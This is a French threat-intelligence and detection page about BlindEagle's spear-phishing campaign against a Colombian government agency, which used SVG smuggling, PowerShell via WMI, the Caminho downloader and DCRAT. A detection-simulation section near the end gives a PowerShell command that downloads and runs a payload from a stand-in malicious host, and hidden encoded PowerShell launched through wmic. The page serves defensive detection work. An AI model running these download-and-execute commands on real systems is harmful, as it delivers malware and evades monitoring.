BlindEagle Cible une Agence Gouvernementale Colombienne avec Caminho et DCRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
BlindEagle a mené une opération de spear-phishing ciblant une agence gouvernementale colombienne, livrant une pièce jointe SVG armée qui a initié une chaîne d’exécution JavaScript-PowerShell. Cette séquence a téléchargé un téléchargeur surnommé Caminho, qui a ensuite récupéré le cheval de Troie d’accès à distance DCRAT open-source hébergé sur Discord. La phase finale a utilisé le hollowing de processus dans MSBuild.exe et appliqué plusieurs méthodes d’évasion pour réduire la détection.
Enquête
Zscaler ThreatLabz a analysé le flux d’infection et a signalé une approche de soustraction de SVG, plusieurs niveaux de JavaScript obscurcis, une commande PowerShell déclenchée par WMI et la livraison de Caminho par une URL hébergée sur Discord. L’enquête a également associé l’infrastructure de support à des adresses IP suédoises et à un fournisseur DNS dynamique (ydns.eu).
Atténuation
Appliquez des contrôles plus stricts pour les pièces jointes des emails entrants, surtout pour le contenu SVG, et imposez le désarmement/inspection du contenu pour les scripts intégrés. Utilisez des politiques de proxy web pour restreindre l’accès aux points d’hébergement de fichiers suspects, y compris les URL de fichiers Discord utilisées pour la livraison de malwares. Surveillez les modèles d’exécution inhabituels de PowerShell et de WMI, et appliquez des politiques de liste blanche d’applications couvrant l’utilisation de MSBuild.exe.
Réponse
Réponse
Déclenchez des alertes pour l’artéfact SVG malveillant, le nom de fichier JavaScript référencé, et les téléchargements atteignant l’URL Discord. Recherchez dans la mémoire ou sur le disque les traces de Caminho et DCRAT, des preuves de hollowing de processus MSBuild.exe, et de la persistance via des changements dans le registre ou des tâches planifiées. Mettez en quarantaine les points de terminaison impactés et bloquez le domaine C2 identifié.
« graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Nodes initial_access_phishing[« <b>Action</b> – <b>T1566.001 Piège par courriel</b><br />Pièce jointe SVG dans un courriel »] class initial_access_phishing action user_exec_malicious_link[« <b>Action</b> – <b>T1204.001 Exécution de l’utilisateur</b><br />Clic sur image SVG malveillante »] class user_exec_malicious_link action user_exec_malicious_file[« <b>Action</b> – <b>T1204.002 Exécution de l’utilisateur</b><br />Ouvrir le fichier JavaScript »] class user_exec_malicious_file action obfuscation_svg_smuggling[« <b>Technique</b> – <b>T1027.017</b><br />Contrebande SVG pour dissimuler le script »] class obfuscation_svg_smuggling technique obfuscation_embedded_payloads[« <b>Technique</b> – <b>T1027.009</b><br />Charges utiles JavaScript encodées en Base64 »] class obfuscation_embedded_payloads technique command_js[« <b>Technique</b> – <b>T1059.007 JavaScript</b><br />Scripts de dévoilement »] class command_js technique command_powershell[« <b>Technique</b> – <b>T1059.001 PowerShell</b><br />Création WMI pour exécuter PowerShell »] class command_powershell technique event_wmi_subscription[« <b>Technique</b> – <b>T1546.003</b><br />Exécution d’abonnement aux événements WMI »] class event_wmi_subscription technique obfuscation_steganography[« <b>Technique</b> – <b>T1027.003</b><br />Charge utile cachée dans une image PNG »] class obfuscation_steganography technique reflective_code_loading[« <b>Technique</b> – <b>T1620</b><br />Chargement réflexif d’assemblage .NET »] class reflective_code_loading technique process_hollowing[« <b>Technique</b> – <b>T1055.012</b><br />Hollowing via MsBuild »] class process_hollowing technique downloader_caminho[« <b>Outil</b> – <b>Nom</b>: Téléchargeur Caminho<br /><b>Objet</b>: Récupérer DCRAT »] class downloader_caminho tool malware_dcrat[« <b>Logiciel malveillant</b> – <b>Nom</b>: DCRAT »] class malware_dcrat malware amsi_bypass[« <b>Technique</b> – <b>T1027.005</b><br />Patcher AMSI pour contourner la détection »] class amsi_bypass technique persistence_run_key[« <b>Technique</b> – <b>T1547.001</b><br />Créer une clé Run dans le registre »] class persistence_run_key technique persistence_scheduled_task[« <b>Technique</b> – <b>T1053</b><br />Créer une tâche planifiée »] class persistence_scheduled_task technique c2_discord[« <b>Commande & Contrôle</b> – URL Discord utilisée pour la distribution de charges utiles »] class c2_discord technique %% Connections initial_access_phishing u002du002d>|mène vers| user_exec_malicious_link user_exec_malicious_link u002du002d>|mène vers| user_exec_malicious_file user_exec_malicious_file u002du002d>|mène vers| obfuscation_svg_smuggling obfuscation_svg_smuggling u002du002d>|mène vers| obfuscation_embedded_payloads obfuscation_embedded_payloads u002du002d>|mène vers| command_js command_js u002du002d>|mène vers| command_powershell command_powershell u002du002d>|mène vers| event_wmi_subscription event_wmi_subscription u002du002d>|mène vers| obfuscation_steganography obfuscation_steganography u002du002d>|mène vers| reflective_code_loading reflective_code_loading u002du002d>|mène vers| process_hollowing process_hollowing u002du002d>|mène vers| downloader_caminho downloader_caminho u002du002d>|télécharge| malware_dcrat malware_dcrat u002du002d>|exécute| amsi_bypass malware_dcrat u002du002d>|établit| persistence_run_key malware_dcrat u002du002d>|établit| persistence_scheduled_task malware_dcrat u002du002d>|utilise| c2_discord «
Flux d’Attaque
Détections
Chaînes Powershell suspectes (via powershell)
Voir
LOLBAS WScript / CScript (via création de processus)
Voir
Archives Internet possibles résolues par un processus peu commun (via requête DNS)
Voir
Appel de méthodes .NET suspectes depuis Powershell (via powershell)
Voir
IOCs (HashMd5) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
IOCs (SourceIP) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
IOCs (HashSha1) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
IOCs (HashSha256) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
IOCs (DestinationIP) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
Détection de la commande PowerShell de BlindEagle utilisant WMI [Windows Powershell]
Voir
Exécution de Simulation
Prérequis : Le précontrôle de télémétrie et référence doit avoir été passé.
Rationnel : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.
-
Récit et Commandes d’Attaque :
L’acteur de menace (BlindEagle) utilise WMI pour lancer un processus PowerShell qui télécharge la charge utile « Caminho » depuis un serveur C2 distant et l’exécute en mémoire. En utilisantwmic.exeavec laméthode create de l'appel de processus, l’attaquant peut exécuter PowerShell sans interagir avec une session utilisateur, rendant l’activité furtive. La ligne de commande contient le mot littéral “powershell”, ce qui satisfait la condition de la règle de détection.-
Étape 1 – Préparez la commande PowerShell malveillante en une seule ligne :
$url = "http://malicious.example.com/caminho.exe" $out = "$env:TEMPcaminho.exe" Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out -
Étape 2 – Exécuter via WMI :
$psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>' wmic process call create "$psCmd"
La présence de
powershelldans le champCommandLinede l’événement Sysmon 1 généré par le processus enfantwmicdéclenchera la règle. -
-
Script de Test de Régression :
# Simulation PowerShell via WMI de BlindEagle # ---------------------------------------------------------------------- # 1. Définir la charge utile malveillante (pour le test, nous utilisons une commande echo bénigne) $payload = 'Write-Host "Exécution simulée de Caminho"' $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Construire la ligne de commande PowerShell qui inclut le mot "powershell" littéral $psCommand = "powershell -NoProfile -EncodedCommand $encoded" # 3. Lancer la commande via WMI (wmic) pour générer un EventID Sysmon 1 $wmicCommand = "wmic process call create `"$psCommand`"" Write-Host "Exécution via WMI : $wmicCommand" Invoke-Expression $wmicCommand # 4. Optionnel : Journaux à la console pour vérification Write-Host "Simulation terminée. Vérifiez la détection dans le SIEM." -
Commandes de Nettoyage :
# Supprimer tous les fichiers temporaires (aucun créé dans cette simulation) # Terminer tous les processus wmic ou PowerShell persistants lancés pour le test Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "Nettoyage terminé."